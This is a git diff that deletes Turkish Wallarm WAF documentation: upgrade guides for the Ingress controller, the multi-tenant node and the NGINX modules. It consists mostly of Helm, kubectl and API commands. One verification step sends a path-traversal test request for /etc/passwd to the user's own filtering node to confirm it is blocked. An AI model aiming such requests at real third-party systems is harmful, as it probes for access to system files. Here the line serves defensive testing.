- source_labels: [__meta_kubernetes_pod_name] - regex: (.*) - action: replace - target_label: instance - replacement: "$1" - ``` -* Diğer tüm değişiklikleri analiz edin. - -## Adım 8: Ingress controller’ı yükseltin - -Wallarm Ingress controller’ı yükseltmenin üç yolu vardır. Ortamınızda bir yük dengeleyici olup olmamasına bağlı olarak yükseltme yöntemini seçin: - -* Geçici Ingress controller dağıtımı -* Ingress controller sürümünün olağan şekilde yeniden oluşturulması -* Yük dengeleyiciyi etkilemeden Ingress controller sürümünün yeniden oluşturulması - -!!! warning "Staging ortamı veya minikube kullanımı" - Wallarm Ingress controller staging ortamınıza dağıtılmışsa, önce onu yükseltmeniz önerilir. Tüm servisler staging ortamında doğru şekilde çalışıyorsa, üretim ortamında yükseltme işlemine devam edebilirsiniz. - - Aksi takdirde, [Wallarm Ingress controller 6.x’i](../../admin-en/installation-kubernetes-en.md) güncellenmiş yapılandırmayla önce minikube veya başka bir servis kullanarak dağıtmanız önerilir. Tüm servislerin beklendiği gibi çalıştığından emin olun ve ardından üretim ortamında Ingress controller’ı yükseltin. - - Bu yaklaşım, üretim ortamındaki servislerin kesinti yaşamasını önlemeye yardımcı olur. - -### Yöntem 1: Geçici Ingress controller dağıtımı - -Bu yöntemle, Ingress Controller 6.x’i ortamınıza ek bir varlık olarak dağıtabilir ve trafiği ona kademeli olarak yönlendirebilirsiniz. Bu, servislerin geçici dahi olsa kesintiye uğramasını önlemeye ve güvenli bir geçiş sağlamaya yardımcı olur. - -1. Ingress controller 6.x için `values.yaml` dosyasına, önceki sürümün `values.yaml` dosyasındaki IngressClass yapılandırmasını kopyalayın. - - Bu yapılandırmayla Ingress controller, Ingress nesnelerini tanıyacak ancak trafiğini işlemeyecektir. -2. Ingress controller 6.x’i dağıtın: - - ```bash - helm install -n wallarm/wallarm-ingress --version 6.5.1 -f - ``` - - * ``: Ingress controller chart’ının Helm sürüm adı - * ``: Ingress controller’ın dağıtılacağı namespace - * ``: [Ingress controller 6.x ayarlarını](#step-5-update-the-valuesyaml-configuration) tanımlayan `values.yaml` dosyasının yolu -3. Tüm servislerin doğru şekilde çalıştığından emin olun. -4. Yükü yeni Ingress controller’a kademeli olarak taşıyın. - -### Yöntem 2: Ingress controller sürümünün olağan şekilde yeniden oluşturulması - -**Yük dengeleyici ve Ingress controller aynı Helm chart’ında tanımlı DEĞİLSE**, sadece Helm sürümünü yeniden oluşturabilirsiniz. Bu işlem birkaç dakika sürecek ve bu süre boyunca Ingress controller kullanılamayacaktır. - -!!! warning "Helm chart bir yük dengeleyici yapılandırması da belirliyorsa" - Helm chart, Ingress controller ile birlikte bir yük dengeleyici yapılandırması belirliyorsa, sürümün yeniden oluşturulması uzun bir yük dengeleyici kesintisine yol açabilir (bulut sağlayıcısına bağlıdır). Sabit bir adres atanmadıysa yükseltmeden sonra yük dengeleyici IP adresi değişebilir. - - Bu yöntemi kullanıyorsanız lütfen tüm potansiyel riskleri analiz edin. - -Ingress controller sürümünü yeniden oluşturmak için: - -=== "Helm CLI" - 1. Önceki sürümü silin: - - ```bash - helm delete -n - ``` - - * ``: Ingress controller chart’ının Helm sürüm adı - - * ``: Ingress controller’ın dağıtıldığı namespace - - Komutu çalıştırırken lütfen `--wait` seçeneğini kullanmayın; bu seçenek yükseltme süresini artırabilir. - - 2. Ingress controller 6.x ile yeni bir sürüm oluşturun: - - ```bash - helm install -n wallarm/wallarm-ingress --version 6.5.1 -f - ``` - - * ``: Ingress controller chart’ının Helm sürüm adı - - * ``: Ingress controller’ın dağıtılacağı namespace - - * ``: [Ingress controller 6.x ayarlarını](#step-5-update-the-valuesyaml-configuration) tanımlayan `values.yaml` dosyasının yolu -=== "Terraform CLI" - 1. Yükseltme süresini azaltmak için Terraform yapılandırmasında `wait = false` seçenek değerini ayarlayın: - - ```diff - resource "helm_release" "release" { - ... - - + wait = false - - ... - } - ``` - - 2. Önceki sürümü silin: - - ```bash - terraform taint helm_release.release - ``` - - 3. Ingress controller 6.x ile yeni sürümü oluşturun: - - ```bash - terraform apply -target=helm_release.release - ``` - -### Yöntem 3: Yük dengeleyiciyi etkilemeden Ingress controller sürümünün yeniden oluşturulması - -Bulut sağlayıcısı tarafından yapılandırılan bir yük dengeleyici kullanıyorsanız, yük dengeleyiciyi etkilemediği için Ingress controller’ı bu yöntemle yükseltmeniz önerilir. - -Sürümün yeniden oluşturulması birkaç dakika sürecek ve bu süre boyunca Ingress controller kullanılamayacaktır. - -1. Silinecek nesneleri (yük dengeleyici hariç) alın: - - ```bash - helm get manifest -n | yq -r '. | select(.spec.type != "LoadBalancer") | .kind + "/" + .metadata.name' | tr 'A-Z' 'a-z' > objects-to-remove.txt - ``` - - `yq` aracını kurmak için lütfen [talimatları](https://pypi.org/project/yq/) kullanın. - - Silinecek nesneler `objects-to-remove.txt` dosyasına yazdırılacaktır. -2. Listelenen nesneleri silin ve sürümü yeniden oluşturun: - - ```bash - cat objects-to-remove.txt | xargs kubectl delete --wait=false -n && \ - helm upgrade -n wallarm/wallarm-ingress --version 6.5.1 -f `` - ``` - - Servis kesintisini azaltmak için komutları ayrı ayrı çalıştırmanız ÖNERİLMEZ. -3. Tüm nesnelerin oluşturulduğundan emin olun: - - ```bash - helm get manifest -n | kubectl create -f - - ``` - - Çıktı, tüm nesnelerin zaten var olduğunu söylemelidir. - -Komutlarda şu parametreler geçilir: - -* ``: Ingress controller chart’ının Helm sürüm adı -* ``: Ingress controller’ın dağıtıldığı namespace -* ``: [Ingress controller 6.x ayarlarını](#step-5-update-the-valuesyaml-configuration) tanımlayan `values.yaml` dosyasının yolu - -## Adım 9: Yükseltilen Ingress controller’ı test edin - -1. Helm chart sürümünün güncellendiğini kontrol edin: - - ```bash - helm ls - ``` - - Chart sürümü `wallarm-ingress-6.5.1` ile uyumlu olmalıdır. -1. Wallarm pod’unu alın: - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Pod durumu **STATUS: Running** ve **READY: N/N** olmalıdır: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - -3. Wallarm Ingress controller adresine test [Path Traversal](../../attacks-vulns-list.md#path-traversal) saldırısı içeren isteği gönderin: - - ```bash - curl http:///etc/passwd - ``` - - Filtreleme node’u `block` modunda çalışıyorsa, isteğe yanıtta `403 Forbidden` kodu döndürülür ve saldırı Wallarm Console → **Attacks** bölümünde görüntülenir. - -## Adım 10: Ingress açıklamalarını (annotations) yayınlanan değişikliklere göre ayarlayın - -Ingress controller 6.x’te yayınlanan değişikliklere göre aşağıdaki Ingress açıklamalarını ayarlayın: - -1. Sürüm 2.18 veya daha düşükten yükseltiyorsanız, IP listesi yapılandırmasını [taşıyın](../migrate-ip-lists-to-node-3.md). IP listesi çekirdek mantığı Wallarm node 3.x’te önemli ölçüde değiştiğinden, uygulanmışsa Ingress açıklamalarını değiştirerek IP listesi yapılandırmasını uygun şekilde ayarlamak gerekir. -1. Aşağıda listelenen ayarların beklenen davranışının, [`off` ve `monitoring` filtreleme modlarının değişen mantığına](what-is-new.md#filtration-modes) karşılık geldiğinden emin olun: - - * [`wallarm_mode` yönergesi](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Console’da yapılandırılan genel filtreleme kuralı](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Console’da yapılandırılan uç nokta hedefli filtreleme kuralları](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) - - Beklenen davranış filtreleme modu mantığındaki değişikliklerle uyuşmuyorsa, lütfen [Ingress açıklamalarını](../../admin-en/configure-kubernetes-en.md#ingress-annotations) yayınlanan değişikliklere uyacak şekilde ayarlayın. -1. Ingress, `nginx.ingress.kubernetes.io/wallarm-instance` ile açıklanmışsa, bu açıklamanın adını `nginx.ingress.kubernetes.io/wallarm-application` olarak değiştirin. - - Yalnızca açıklama adı değişti, mantığı aynı kaldı. Eski adla açıklama yakında kullanımdan kaldırılacağından, daha önce yeniden adlandırmanız önerilir. -1. Ingress açıklamaları ile yapılandırılmış `&/usr/share/nginx/html/wallarm_blocked.html` sayfası engellenen isteklere döndürülüyorsa, yapılandırmasını yayınlanan değişikliklere göre [ayarlayın](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). - - Yeni node sürümlerinde, Wallarm engelleme sayfasının [güncellenmiş bir arayüzü](what-is-new.md#new-blocking-page) vardır; varsayılan olarak logo ve destek e-postası içermez. - -## Adım 11: Threat Replay Testing modülünü yeniden etkinleştirin (yalnızca node 2.16 veya altını yükseltiyorsanız) - -[Threat Replay Testing modülü kurulumu ile ilgili önerileri](../../vulnerability-detection/threat-replay-testing/setup.md) inceleyin ve gerekirse yeniden etkinleştirin. - -Bir süre sonra, modülün çalışmasının yanlış pozitiflere yol açmadığından emin olun. Yanlış pozitifler keşfederseniz, lütfen [Wallarm teknik desteği](mailto:support@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/multi-tenant.md b/docs/latest-tr/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 19c9695222..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1,251 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# EOL çok kiracılı düğümün yükseltilmesi - -Bu talimatlar, kullanımdan kaldırılmış (EOL) çok kiracılı düğümü (3.6 ve altı sürümler) en son 6.x sürümüne yükseltme adımlarını açıklar. - -## Gereksinimler - -* [teknik kiracı hesabı](../../installation/multi-tenant/overview.md#tenant-accounts) altında eklenmiş **Global administrator** rolüne sahip kullanıcı tarafından ilerleyen komutların yürütülmesi -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Lütfen bu erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve API spesifikasyonlarının güncellemelerini indirmek, ayrıca izinli (allowlisted), yasaklı (denylisted) veya gri listeye alınmış (graylisted) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim. - - --8<-- "../include/wallarm-cloud-ips.md" - -## Adım 1: Wallarm destek ekibiyle iletişime geçin - -Çok kiracılı düğüm yükseltmesi sırasında [özel kurallar kümesi oluşturma](../../user-guides/rules/rules.md#ruleset-lifecycle) özelliğinin en son sürümünü almak için [Wallarm destek ekibi](mailto:support@wallarm.com) yardımı talep edin. - -!!! info "Engellenmiş yükseltme" - Özel kurallar kümesi oluşturma özelliğinin hatalı bir sürümünü kullanmak, yükseltme sürecini engelleyebilir. - -Destek ekibi ayrıca çok kiracılı düğüm yükseltmesi ve gerekli yeniden yapılandırmayla ilgili tüm sorularınızı yanıtlamanıza yardımcı olacaktır. - -## Adım 2: Standart yükseltme prosedürünü izleyin - -Standart prosedürler şunlardır: - -* [Wallarm NGINX modüllerini yükseltme](nginx-modules.md) -* [Postanalytics modülünü yükseltme](separate-postanalytics.md) -* [Wallarm Docker NGINX tabanlı imajını yükseltme](docker-container.md) -* [Wallarm modülleri entegre NGINX Ingress controller’ı yükseltme](ingress-controller.md) -* [Bulut düğüm imajını yükseltme](cloud-image.md) - -!!! warning "Çok kiracılı düğümün oluşturulması" - Wallarm düğümü oluşturma sırasında lütfen **Multi-tenant node** seçeneğini seçin: - - ![Multi-tenant node oluşturma](../../images/user-guides/nodes/create-multi-tenant-node.png) - -## Adım 3: Çok kiracılı yapıyı yeniden yapılandırın - -Trafiğin kiracılarınız ve onların uygulamalarıyla nasıl ilişkilendirildiğine dair yapılandırmayı yeniden yazın. Aşağıdaki örneği dikkate alın. Örnekte: - -* Kiracı, iş ortağının müşterisini ifade eder. İş ortağının iki müşterisi vardır. -* `tenant1.com` ve `tenant1-1.com` hedefli trafik 1. müşteriyle ilişkilendirilmelidir. -* `tenant2.com` hedefli trafik 2. müşteriyle ilişkilendirilmelidir. -* 1. müşterinin ayrıca üç uygulaması vardır: - * `tenant1.com/login` - * `tenant1.com/users` - * `tenant1-1.com` - - Bu 3 yola hedeflenen trafik ilgili uygulama ile ilişkilendirilmeli; geri kalanlar 1. müşterinin genel trafiği olarak kabul edilmelidir. - -### Önceki sürüm yapılandırmanızı inceleyin - -3.6’da bu şu şekilde yapılandırılabilir: - -``` -server { - server_name tenant1.com; - wallarm_application 20; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_application 24; - ... -} -... -} -``` - -Yukarıdaki yapılandırmaya ilişkin notlar: - -* `tenant1.com` ve `tenant1-1.com` hedefli trafik, bu müşteriyle `/v2/partner/111/partner_client` API isteği üzerinden ilişkilendirilen `20` ve `23` değerleri aracılığıyla 1. müşteriyle ilişkilendirilir. -* Diğer uygulamaları kiracılarla ilişkilendirmek için benzer API istekleri gönderilmiş olmalıdır. -* Kiracılar ve uygulamalar ayrı varlıklardır, bu nedenle bunları farklı yönergelerle (directive) yapılandırmak mantıklıdır. Ayrıca ek API isteklerinden kaçınmak da kullanışlı olacaktır. Kiracılar ve uygulamalar arasındaki ilişkileri doğrudan yapılandırma üzerinden tanımlamak mantıklıdır. Tüm bunlar mevcut yapılandırmada eksiktir ancak aşağıda açıklanan yeni 6.x yaklaşımıyla mümkün hale gelecektir. - -### 6.x yaklaşımını inceleyin - -6.x sürümünde, düğüm yapılandırmasında kiracıyı tanımlamanın yolu UUID kullanmaktır. - -Yapılandırmayı yeniden yazmak için şunları yapın: - -1. Kiracılarınıza ait UUID’leri alın. -1. Kiracıları dahil edin ve NGINX yapılandırma dosyasında uygulamalarını ayarlayın. - -### Kiracılarınıza ait UUID’leri alın - -Kiracı listesini almak için Wallarm API’ye kimlik doğrulamalı istekler gönderin. Kimlik doğrulama yaklaşımı, kiracı oluşturma için [kullanılan](../../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api) yöntemle aynıdır. - -1. İlgili UUID’leri daha sonra bulmak için `clientid`(leri) alın: - - === "Wallarm Console üzerinden" - - `clientid`(leri) Wallarm Console kullanıcı arayüzündeki **ID** sütunundan kopyalayın: - - ![Wallarm Console’da kiracı seçici](../../images/partner-waf-node/clients-selector-in-console-ann.png) - === "API’ye istek göndererek" - 1. `/v2/partner_client` rotasına GET isteği gönderin: - - !!! info "Kendi istemcinizden gönderilen istek örneği" - === "US Cloud" - ``` bash - curl -X GET \ - 'https://us1.api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - === "EU Cloud" - ``` bash - curl -X GET \ - 'https://api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - - Burada `PARTNER_ID`, kiracı oluşturma prosedürünün [**Adım 2**](../../installation/multi-tenant/configure-accounts.md#step-1-sign-up-and-send-a-request-to-activate-the-multitenancy-feature) aşamasında elde edilendir. - - Yanıt örneği: - - ``` - { - "body": [ - { - "id": 1, - "partnerid": , - "clientid": , - "params": null - }, - { - "id": 3, - "partnerid": , - "clientid": , - "params": null - } - ] - } - ``` - - 1. `clientid`(leri) yanıttan kopyalayın. -1. Her kiracının UUID’sini almak için `v1/objects/client` rotasına POST isteği gönderin: - - !!! info "Kendi istemcinizden gönderilen istek örneği" - === "US Cloud" - ``` bash - curl -X POST \ - https://us1.api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - === "EU Cloud" - ``` bash - curl -X POST \ - https://api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - - Yanıt örneği: - - ``` - { - "status": 200, - "body": [ - { - "id": , - "name": "", - ... - "uuid": "11111111-1111-1111-1111-111111111111", - ... - }, - { - "id": , - "name": "", - ... - "uuid": "22222222-2222-2222-2222-222222222222", - ... - } - ] - } - ``` - -1. Yanıttan `uuid`(leri) kopyalayın. - -### NGINX yapılandırma dosyasında kiracıları dahil edin ve uygulamalarını ayarlayın - -NGINX yapılandırma dosyasında: - -1. Yukarıda aldığınız kiracı UUID’lerini [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergelerinde belirtin. -1. Korumalı uygulama kimliklerini [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) yönergelerinde ayarlayın. - - Düğüm 3.6 veya daha düşük sürüm için kullanılan NGINX yapılandırması uygulama yapılandırmasını içeriyorsa, yalnızca kiracı UUID’lerini belirtin ve uygulama yapılandırmasını olduğu gibi bırakın. - -Örnek: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -Yukarıdaki yapılandırmada: - -* Kiracılar ve uygulamalar farklı yönergelerle yapılandırılmıştır. -* Kiracılar ve uygulamalar arasındaki ilişkiler, NGINX yapılandırma dosyasının ilgili bloklarındaki `wallarm_application` yönergeleri aracılığıyla tanımlanmıştır. - -## Adım 4: Wallarm çok kiracılı düğümün çalışmasını test edin - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/nginx-modules.md b/docs/latest-tr/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index 5d28e710ab..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1,278 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../installation/custom/custom-nginx-version.md -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[sqli-attack-docs]: ../../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../../installation/oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# EOL durumundaki Wallarm NGINX modüllerinin yükseltilmesi - -Bu talimatlar, destek süresi dolmuş (EOL) Wallarm NGINX modüllerinin (sürüm 3.6 ve altı) en son 6.x sürümüne yükseltilmesi adımlarını açıklar. Wallarm NGINX modülleri, aşağıdaki talimatlardan birine göre kurulan modüllerdir: - -* NGINX stable için bireysel paketler -* NGINX Plus için bireysel paketler -* Dağıtımın sağladığı NGINX için bireysel paketler - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! info "Tüm‑bir‑arada yükleyici ile yükseltme" - Yükseltme, bireysel Linux paketleri kullanımdan kaldırıldığı için Wallarm'ın [all-in-one installer](../../installation/nginx/all-in-one.md) aracıyla gerçekleştirilir. Bu yöntem, önceki yaklaşıma kıyasla yükseltme sürecini ve sürekli dağıtım bakımını basitleştirir. - - Yükleyici aşağıdaki işlemleri otomatik olarak gerçekleştirir: - - 1. İşletim sisteminizi ve NGINX sürümünü kontrol eder. - 1. Algılanan OS ve NGINX sürümü için Wallarm depolarını ekler. - 1. Bu depolardan Wallarm paketlerini kurar. - 1. Kurulan Wallarm modülünü NGINX'inize bağlar. - 1. Sağlanan token ile filtreleme düğümünü Wallarm Cloud'a bağlar. - - Bireysel Linux paketleriyle manuel yükseltme artık desteklenmemektedir. - - ![Tüm‑bir‑arada ile manuelliğin karşılaştırması](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## EOL düğümü yükselttiğinizi Wallarm teknik desteğine bildirin - -Destek süresi dolmuş (EOL) Wallarm NGINX modüllerini (sürüm 3.6 ve altı) 6.x sürümüne yükseltiyorsanız, [Wallarm teknik desteği](mailto:support@wallarm.com) ile iletişime geçip bilgi verin ve yardım isteyin. - -Diğer yardımların yanı sıra, Wallarm hesabınız için yeni IP lists mantığının etkinleştirilmesini talep edin. Yeni IP lists mantığı etkinleştirildiğinde lütfen Wallarm Console'u açın ve [**IP lists**](../../user-guides/ip-lists/overview.md) bölümünün mevcut olduğunu doğrulayın. - -## Gereksinimler - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## Yükseltme prosedürü - -* Filtreleme düğümü ve postanalytics modülleri aynı sunucuya kuruluysa, tümünü yükseltmek için aşağıdaki talimatları izleyin. - - Daha yeni sürümü temiz bir makinede all-in-one yükleyiciyle çalıştırmanız, düzgün çalıştığını test etmeniz, ardından öncekini durdurmanız ve trafiği önceki makine yerine yeni makineden akacak şekilde yapılandırmanız gerekecektir. - -* Filtreleme düğümü ve postanalytics modülleri farklı sunucularda kuruluysa, bu [talimatları](separate-postanalytics.md) izleyerek önce postanalytics modülünü, sonra filtreleme modülünü yükseltin. - -## Adım 1: Threat Replay Testing modülünü devre dışı bırakın (sadece düğüm 2.16 veya altından yükseltiliyorsa) - -Wallarm düğümünü 2.16 veya altından yükseltiyorsanız, lütfen Wallarm Console → **Vulnerabilities** → **Configure** içinde [Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) modülünü devre dışı bırakın. - -Modülün çalışması yükseltme sürecinde [false positive](../../about-wallarm/protecting-against-attacks.md#false-positives) üretebilir. Modülü devre dışı bırakmak bu riski en aza indirir. - -## Adım 2: Temiz makine hazırlayın - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## Adım 3: NGINX ve bağımlılıklarını kurun - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## Adım 4: Wallarm token hazırlayın - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## Adım 5: Tüm‑bir‑arada Wallarm yükleyicisini indirin - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## Adım 6: Tüm‑bir‑arada Wallarm yükleyicisini çalıştırın - -### Aynı sunucuda filtreleme düğümü ve postanalytics - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -### Farklı sunucularda filtreleme düğümü ve postanalytics - -!!! warning "Filtreleme düğümü ve postanalytics modüllerini yükseltme adımlarının sırası" - Filtreleme düğümü ve postanalytics modülleri farklı sunuculara kuruluysa, filtreleme düğümü paketlerini güncellemeden önce postanalytics paketlerinin yükseltilmesi gerekir. - -1. Postanalytics modülünü şu [talimatları](separate-postanalytics.md) izleyerek yükseltin. -1. Filtreleme düğümünü yükseltin: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu belirler (Wallarm Console UI içinde düğümlerin mantıksal gruplaması için kullanılır). - - === "Node belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - -## Adım 7: İzinli listeleri ve engelli listeleri önceki Wallarm düğümü sürümünden 6.x'e taşıyın (sadece düğüm 2.18 veya altından yükseltiliyorsa) - -Düğümü 2.18 veya altından yükseltiyorsanız, izinli liste ve engelli liste yapılandırmasını önceki Wallarm düğümü sürümünden en yeni sürüme [taşıyın](../migrate-ip-lists-to-node-3.md). - -## Adım 8: NGINX ve postanalytics yapılandırmasını eski düğüm makinesinden yeniye aktarın - -Gerekli yönergeleri veya dosyaları kopyalayarak düğüme ilişkin NGINX ve postanalytics yapılandırmalarını eski makineden yeniye taşıyın: - -* `/etc/nginx/conf.d/default.conf` veya `/etc/nginx/nginx.conf` (`http` seviyesine ilişkin NGINX ayarları) - - Filtreleme ve postanalytics düğümleri farklı sunuculardaysa, filtreleme düğümü makinesindeki `/etc/nginx/nginx.conf` dosyasının `http` bloğunda `wallarm_tarantool_upstream` adını [`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) olarak değiştirin. -* `/etc/nginx/sites-available/default` (trafik yönlendirme için NGINX ve Wallarm ayarları) -* `/etc/nginx/conf.d/wallarm-status.conf` → yeni makinede `/etc/nginx/wallarm-status.conf` konumuna kopyalayın - - Ayrıntılı açıklama [bağlantı][wallarm-status-instr] içinde mevcuttur. -* `/etc/wallarm/node.yaml` → yeni makinede `/opt/wallarm/etc/wallarm/node.yaml` konumuna kopyalayın - - Ayrı bir postanalytics sunucusunda özel bir ana bilgisayar ve bağlantı noktası kullanıyorsanız, kopyalanan dosyada postanalytics düğümü makinesinde `tarantool` bölümünü `wstore` olarak yeniden adlandırın. - -### Kullanımdan kaldırılan NGINX yönergelerini yeniden adlandırın - -Aşağıdaki NGINX yönergeleri yapılandırma dosyalarında açıkça belirtilmişse adlarını değiştirin: - -* `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) -* `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) -* `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) -* `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) -* `wallarm_tarantool_upstream` → [`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) - -Yalnızca yönergelerin adları değişti, mantıkları aynı kaldı. Eski adlara sahip yönergeler yakında kullanımdan kaldırılacaktır, bu nedenle önceden yeniden adlandırmanız önerilir. - -### Düğüm günlükleme değişkenlerini güncelleyin - -Yeni düğüm sürümünde [düğüm günlükleme değişkenlerinde](../../admin-en/configure-logging.md#filter-node-variables) aşağıdaki değişiklikler uygulanmıştır: - -* `wallarm_request_time` değişkeninin adı `wallarm_request_cpu_time` olarak değiştirilmiştir. - - Yalnızca değişken adı değişti, mantığı aynı kaldı. Eski ad geçici olarak desteklenmektedir ancak yine de değişkenin yeniden adlandırılması önerilir. -* `wallarm_request_mono_time` değişkeni eklendi – aşağıdaki toplamın loglanmasına ihtiyaç duyuyorsanız günlük formatı yapılandırmasına ekleyin: - - * Kuyrukta geçen süre - * CPU'nun isteği işlerken harcadığı süre (saniye) - -### En son sürümlerde yayınlanan değişikliklere göre Wallarm düğümü filtreleme modu ayarlarını uyarlayın - -1. Aşağıda listelenen ayarların beklenen davranışının, [`off` ve `monitoring` filtreleme modlarının değişen mantığı](what-is-new.md#filtration-modes) ile uyumlu olduğundan emin olun: - * [Yönerge `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Console'da yapılandırılmış genel filtreleme kuralı](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Console'da yapılandırılmış uç nokta hedefli filtreleme kuralları](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. Beklenen davranış değişen filtreleme modu mantığıyla uyuşmuyorsa, [talimatları](../../admin-en/configure-wallarm-mode.md) kullanarak filtreleme modu ayarlarını yayınlanan değişikliklere göre uyarlayın. - -### `overlimit_res` saldırı algılama yapılandırmasını yönergelerden kurala taşıyın - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -### `wallarm-status.conf` dosya içeriğini güncelleyin - -`/etc/nginx/conf.d/wallarm-status.conf` içeriğini aşağıdaki gibi güncelleyin: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.8/8; # Erişim yalnızca filtreleme düğümü sunucusunun loopback adresleri için kullanılabilir - deny all; - - 